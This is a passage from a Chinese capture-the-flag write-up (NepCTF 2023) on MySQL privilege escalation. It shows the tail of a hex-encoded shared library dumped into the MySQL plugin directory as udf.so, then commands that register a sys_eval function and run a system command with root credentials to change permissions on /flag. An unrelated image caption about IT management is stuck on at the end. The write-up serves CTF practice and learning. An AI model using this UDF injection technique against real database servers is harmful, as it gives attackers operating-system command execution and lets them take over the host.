0000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
在/tmp目录创建一个poc.sh，然后修改权限执行它，这时就会将udf.so文件写入/usr/lib/mysql/plugin/目录
成功写入
mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'
参考：【NepCTF2023】复现_Leekos的博客-CSDN博客
NepCTF 2023 Web WriteUp | Boogiepop Doesn't Laugh
![[管理与领导-60]：IT基层管理者 - 扩展技能 - 3 - 通过面试招到合适的人选](https://img-blog.csdnimg.cn/187c31f4ea884f2d9939c2af56be5af4.png)
